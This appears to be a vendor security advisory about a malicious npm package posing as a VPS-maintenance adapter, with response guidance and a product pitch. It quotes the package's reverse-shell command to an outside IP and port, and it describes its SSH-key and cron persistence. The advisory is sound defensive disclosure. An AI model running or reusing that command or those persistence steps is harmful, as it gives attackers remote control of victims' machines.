vps-maintenance-paperclip-adapternpm
vps-maintenance-paperclip-adapter is a confirmed malicious npm package (MAL-2026-6757) that opens a backdoor for remote access (malicious versions 0.1.0, 0.1.1, 0.1.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in vps-maintenance-paperclip-adapter (npm)
What this malware does
On import of the server entry module, a top-level try block detaches a shell process that (1) appends an attacker-controlled ssh-ed25519 public key to authorized_keys for multiple accounts (/root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos), (2) installs persistence via a per-minute crontab entry and /etc/cron.d/eni-persist that beacons to 185.112.147.174:7007, and (3) immediately launches an interactive reverse shell to 185.112.147.174:7007 using a python3 pty fallback chained to bash -i >& /dev/tcp/185.112.147.174/7007 0>&1. Execution occurs at module load with no user gate, granting the operator of that host:port unauthenticated interactive shell access and durable SSH login as root and multiple standard users on any machine that imports the package. The package presents itself as a benign VPS-maintenance adapter for Paperclip and the README instructs installation under a different name (vps-new-manager) than the actual package name (vps-maintenance-paperclip-adapter), a cover-story consistent with adapter-ecosystem impersonation.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'vps-maintenance-paperclip-adapter' @ 0.1.4 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for vps-maintenance-paperclip-adapter (7 malicious versions).
If you installed it — respond
vps-maintenance-paperclip-adapter establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If vps-maintenance-paperclip-adapter was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks vps-maintenance-paperclip-adapter-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.